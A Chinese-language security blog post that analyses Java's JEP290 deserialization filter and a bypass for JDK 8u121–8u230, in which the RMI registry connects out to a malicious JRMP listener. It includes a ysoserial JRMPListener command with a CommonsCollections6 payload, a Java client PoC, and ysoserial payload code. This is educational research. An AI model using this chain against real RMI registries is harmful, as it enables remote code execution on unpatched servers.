w0s1np

w0s1np

记录学习和思考 快就是慢、慢就是快 静下心来学习
github

JEP290绕过

前言#

上文已经分析过 rmi 反序列化的几种攻击方法,这篇文章就学习了一下 JEP290 机制的检测和绕过思路,整个流程是比较清楚的了,就是让 registry 当作 client 端向恶意 jrmp 服务端发起 rmi 请求,此时环境的 filter 为空

JEP290 是什么#

实验版本 jdk1.8.0_192

高版本 jdk 引入了 JEP 290 策略,并在 Client 与 Registry 的通信过程中默认设置了 registryFilter, 使得只有在白名单里面的类才能够被反序列化

简单说就是一个防御反序列化攻击​的黑白名单过滤器

  1. 提供一个限制反序列化类的机制,白名单或者黑名单
  2. 限制反序列化的深度和复杂度
  3. 为 RMI 远程调用对象提供了一个验证类的机制
  4. 定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。

官方文档:https://openjdk.java.net/jeps/290

JEP290 支持的版本:

  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

设置 JEP290 的方式有下面两种:

  1. 通过 setObjectInputFilter 来设置 filter
  2. 直接通过 conf/security/java.properties 文件进行配置

JEP290 流程分析#

image

按照 zjj 的说法,其实就是把 client 与 registry 的通信划分为了两段,第一段是就是 client 与 registry 正常的通信,第二段就是 registry 作为客户端向恶意的 JRMP 服务端发起 RMI 请求,在第二段通信中,是没有进行 JEP290 check 的

image

上图中,其实是处理请求的代码,但是在第二个断点处存在 lookup 连接,所以如果可以控制一些参数的话,就可以把第二个断点当作入口,在里面进行新的 rmi 通信

JEP290 check 点#

image

首先服务端还是在RegistryImpl_Skel#dispatch​处理远程调用,case 0 对应 bind 操作,var82 对应绑定对象的名称,var87 对应要导出的远程对象,再此对传入的远程调用流进行反序列化

image

然后再依次步进:

image

image

image

readClassDesc​方法会根据反序列化的类不同进入不同的 case 中,这里注意代理类,

image

就会进入filterCheck

image

当第一次分析的时候,就可以从 logging 这里下断点,因为这个信息我们能从报错中得到,然后根据调用栈再来分析整个 check 流程,调用栈如下

filterCheck:1250, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)

image

filterCheck​的status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,totalObjectRefs, depth, bytesRead));​部分就会调用 check 方法:RegistryImpl#registryFilter

image

这里对反序列化的类进行了白名单限制:

String / Number / Remote / Proxy / UnicastRef / RMIClientSocketFactory / RMIServerSocketFactory / ActivationID / UID

只要反序列化的类不是白名单中的类,就会返回 REJECTED 操作符,表示序列化流中有不合法的内容,直接抛出异常。

Server 端执行 bind 方法的参数必须是一个实现了 Remote 接口的对象,但是普通的 CC 链最后生成的恶意对象是不满足这个条件的,这时候就需要动态代理来代理 Remote 接口,实际上最后绑定的是动态代理生成的代理对象:

InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap);
Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);
registry.bind("pwn", remote);

在反序列化的时候,除了对代理对象本身反序列化,也要对其内部字段进行反序列化,类似于一个递归的过程,我们的代理对象本身(它自身实现了被代理的接口,这里是 Remote 接口)是不会触发 check 的,真正触发 check 的其实是内部的 InvocationHandlerImpl

然后可以看上面的调用栈,其实是调用了两次 readObject0 方法的,第一次就是对代理对象本身的反序列化,第二次是对其内部字段进行反序列化。

readSerialData​方法会读取对象内部的字段,然后循环进入 readObject0 方法处理:

image

最终会因为InvocationHandlerImpl​触发 filter 的 check:

image

image

filter 创建过程#

在触发 check 的时候,filter 是一个 Lambda 表达式

image

其会进入RegistryImpl#registryFilter​, 整个调用栈如下

registryFilter:408, RegistryImpl (sun.rmi.registry)
checkInput:-1, 1828757853 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

现在的问题是为什么会进入RegistryImpl#registryFilter​, 先看RegistryImpl​的构造函数

image

虽然有多个重载的构造方法,核心都是传入了一个 Lambda 表达式作为 filter

RegistryImpl::registryFilter​即info → RegistryImpl.registryFilter(info)​,因为它和 ObjectInputFilter​ 接口的抽象方法签名一致,所以可以直接通过方法引用来简写:

image

image

同时在第二种构造函数中,Lambda 表达式以 ObjectInputFilter 接口的形式传入了 UnicastServerRef2 的构造方法中

image

image

image

最后赋值给了该类的 filter 成员变量

同时需要注意到在 Registry 的创建过程中 filter 最终只是作为 UnicastServerRef 的一个成员变量而存在,直到 Registry 在处理请求的时候,在 oldDispatch 方法中才把 filter 赋值给了 ObjectInputStream 的成员变量 serialFilter

image

image

调用栈:

setInternalObjectInputFilter:1219, ObjectInputStream (java.io)
access$000:214, ObjectInputStream (java.io)
setObjectInputFilter:252, ObjectInputStream$1 (java.io)
setObjectInputFilter:296, ObjectInputFilter$Config (sun.misc)
run:423, UnicastServerRef$1 (sun.rmi.server)
run:420, UnicastServerRef$1 (sun.rmi.server)
doPrivileged:-1, AccessController (java.security)
unmarshalCustomCallData:420, UnicastServerRef (sun.rmi.server)
oldDispatch:466, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

Bypass 8u121~8u230#

UnicastRef 类#

在代码层面来说,我们在执行 bind、lookup 等方法的时候都会先获取到一个 Registry,比如:

Registry registry = LocateRegistry.getRegistry(1099);

跟进LocateRegistry#getRegistry​方法:

image

image

这里的 TCPEndpoint 封装了 Registry 的 host、端口等信息,然后用 UnicastRef 封装了 liveRef。最终获取到的是一个 RegistryImpl_Stub 对象

image

然后用这个 Stub 对象(客户端)去连接 Registry, 这里以 bind 方法为例

从这个过程来看,通过 UnicastRef 的 newCall 方法发起连接,然后把要查找的对象发送到 Registry。

所以如果我们可以控制 UnicastRef 中 LiveRef 所封装的 host、端口等信息,我们就可以发起一个任意的 JRMP 连接请求,这其实就是 ysoserial 中的 payloads.JRMPClient 的原理。

RemoteObject 类#

RemoteObject 是一个抽象类,在后面的 Bypass 思路构造中它会扮演一个很重要的角色。它实现了 Remote 和 Serializable 接口,代表它(及其子类)可以通过白名单的检测,而 Bypass 利用的关键点就是它的 readObject 方法:

image

测试代码#

这里攻击的是register​, 依次执行下面命令和 java 文件

/Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections6 "open -a Calculator"

RMIRegistry

package bypass_jep290;

import java.rmi.registry.LocateRegistry;

public class RMIRegistry {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            System.out.println("RMI Registry Start");
        } catch (Exception e) {
            e.printStackTrace();
        }
        while (true) ;
    }
}

DefineClient

package bypass_jep290;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class DefineClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry(1099);
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("localhost", 3333);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
        // lookup方法也可以,但需要手动模拟lookup方法的流程
        registry.bind("pwn", handler);
    }
}

处理请求时反序列化远程调用对象 (有 check)#

image

首先是 client 对 registry 发起了一个 bind 请求,进入到RegistryImpl_Skel#dispatch​的处理逻辑中,在readObject​处反序列化 client 传给 registry 的远程调用对象,在这其中存在 JEP290 的 check 点,调用栈如下:

filterCheck:1233, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

image

因为我们反序列化的对象是RemoteObjectInvocationHandler​, 所以绕过了 check, 然后进入RemoteObject​的readObject​方法

image

在这个方法中会读出序列化流中的 host 和端口信息(就是恶意 JRMP 服务的 host 与端口)然后重新封装成一个 LiveRef 对象,将其存储到当前的 ConnectionInputStream 上,调用 saveRef 方法:

image

建立了一个 TCPEndpoint 到 ArrayList的映射关系。

调用栈如下:

readObject:424, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

根据调用栈可以看见,在readOrdinaryObject​会先进入readClassDesc​进行 check, 再进入readSerialData​反序列化对象

releaseInputStream 作为入口进行新的 rmi 通信 (无 check)#

再处理完上诉请求之后,releaseInputStream​会释放与RemoteCall​关联的输入流,但是这里会进行 lookup 查找操作

image

这里的 in 就是上面说到的包装了 LiveRef 对象 ConnectionInputStream 对象,继续跟进:

image

在这里就会根据之前存储的映射关系,读出序列化流中的 host 和端口信息(就是恶意 JRMP 服务的 host 与端口), 提取值然后传入DGCClient#registerRefs​方法中:

image

image

这里 lookup 其实没干什么,只是封装了下我们的 var0

image

后续在executeCall()​中this.getInputStream();​建立新的通讯​,然后将接收序列化数据执行反序列化

image

image

调用栈如下:

executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:375, UnicastRef (sun.rmi.server)
dirty:109, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:80, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

TCPEndpoint(JRMP 段地址)的赋值#

要编写 poc, 就要查看 TCPEndpoint 是如何赋值的,上面已经分析过,是从 RemoteObject 的 readObject 方法开始的,这里再看下需要注意的细节

image

这里会从序列化数据​提取出ip​和port​, 生成一个TCPEndpoint​赋给var2​, 然后封装成一个LiveRef​传到var6.saveRef()​里

image

saveRef()​里最后存在到incomingRefTable​这个table​里面,可以回头看利用分析​, 就是从这个变量​取的对象

现在我们看能否给这个变量赋值,重点代码如下:

TCPEndpoint var2 = TCPEndpoint.readHostPortFormat(var0);
ObjID var3 = ObjID.read(var0);
LiveRef var5 = new LiveRef(var3, var2, false);

第二段通信关于 check 的细节#

第一段通信是 server 向 registry 进行 bind 的,向Register端​进行数据传输

image

上文已经说了,在 Registry 的创建过程中 filter 最终只是作为 UnicastServerRef 的一个成员变量而存在,直到 Registry 在处理请求的时候,在 oldDispatch 方法中才把 filter 赋值给了 ObjectInputStream 的成员变量 serialFilter, 所以现在的 serialFilter 为 null

image

同时注意到这里的ConnectionInputStream@953​编号

然后再在在UnicastServerRef#unmarshalCustomCallData()​中给this.serialFilter​设置了值

image

注意这里编号ConnectionInputStream@953

然后进入第二段的 jrmp 通信

在建立完上面说到的新的通讯​后,也会到ObjectInputStream​设置serialFilter​, 但是由于没有进入UnicastServerRef#oldDispatch​方法,所以这里的serialFilter​为 null,

image

image

编号为ConnectionInputStream@1121​, 然后到StreamRemoteCall#executeCall​方法,反序列化 jrmp 返回的恶意对象

image

这里也是没有设置serialFilter​的

小结#

这里我想表达什么呢,就是分清楚,这种方法为什么可以绕过JEP290​, 第一段通信registry​是和Server端​, 第二段是和JMRP端​。这里ConnectionInputStream​其实就代表着ObjectInputStream​, 而第一段通信中设置的serialFilter​只作用于第一段通信中,及只作用于Register和Server之间的readObject中​!!(JEP290作用域​)

同时 Bypass JEP290 的思路如下:

  1. 用 ysoserial 开启一个恶意的 JRMPListener
  2. 控制 RemoteObject 中的 UnicastRef 对象,这个对象封装了恶意 Server 的 host、端口等信息。
  3. Client / Server 向 Registry 发送这个 RemoteObject 对象,Registry 触发 readObject 方法之后会向恶意的 JRMP Server 发起连接请求。
  4. 后续触发 JRMPListener

Registry 触发反序列化的利用链:

客户端发送数据 –> UnicastServerRef#dispatch –> UnicastServerRef#oldDispatch –> RegistryImpl_Skle#dispatch (处理请求)
> RemoteObject#readObject (第一次通信,进入RemoteObject#readObject, 为了经过反序列化可以设置内部的 UnicastRef 对象发起 JRMP 请求连接恶意的 Server)
StreamRemoteCall#releaseInputStream (释放资源处,第二次通信入口)
> ConnectionInputStream#registerRefs –> DGCClient#registerRefs –> DGCClient$EndpointEntry#registerRefs 
> DGCClient$EndpointEntry#makeDirtyCall –> DGCImpl_Stub#dirty –> UnicastRef#invoke –> (RemoteCall var1) StreamRemoteCall#executeCall –>
ObjectInputSteam#readObject –> “pwn”

yso 的代码#

/**
 * Gadget chain:
 * UnicastRemoteObject.readObject(ObjectInputStream) line: 235
 * UnicastRemoteObject.reexport() line: 266
 * UnicastRemoteObject.exportObject(Remote, int) line: 320
 * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
 * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
 * LiveRef.exportObject(Target) line: 147
 * TCPEndpoint.exportObject(Target) line: 411
 * TCPTransport.exportObject(Target) line: 249
 * TCPTransport.listen() line: 319
**/
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {

    public UnicastRemoteObject getObject ( final String command ) throws Exception {
        int jrmpPort = Integer.parseInt(command);
        UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
            RemoteRef.class
        }, new Object[] {
            new UnicastServerRef(jrmpPort)
        });

        Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
        return uro;
    }


    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(JRMPListener.class, args);
    }
}
待补充 poc 编写思路、看看 ysoserial 的二开#

修复#

dirty()​方法中建立通讯​后,给this.filter​设置了一个JEP290​(表达式)

原始

image

image

修复后

image

然后在this.in​的serialFilter​中设置上这个filter

image

dirty()​方法中建立通讯​后,给this.filter​设置了一个JEP290​(表达式)

image

然后被检测出来

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。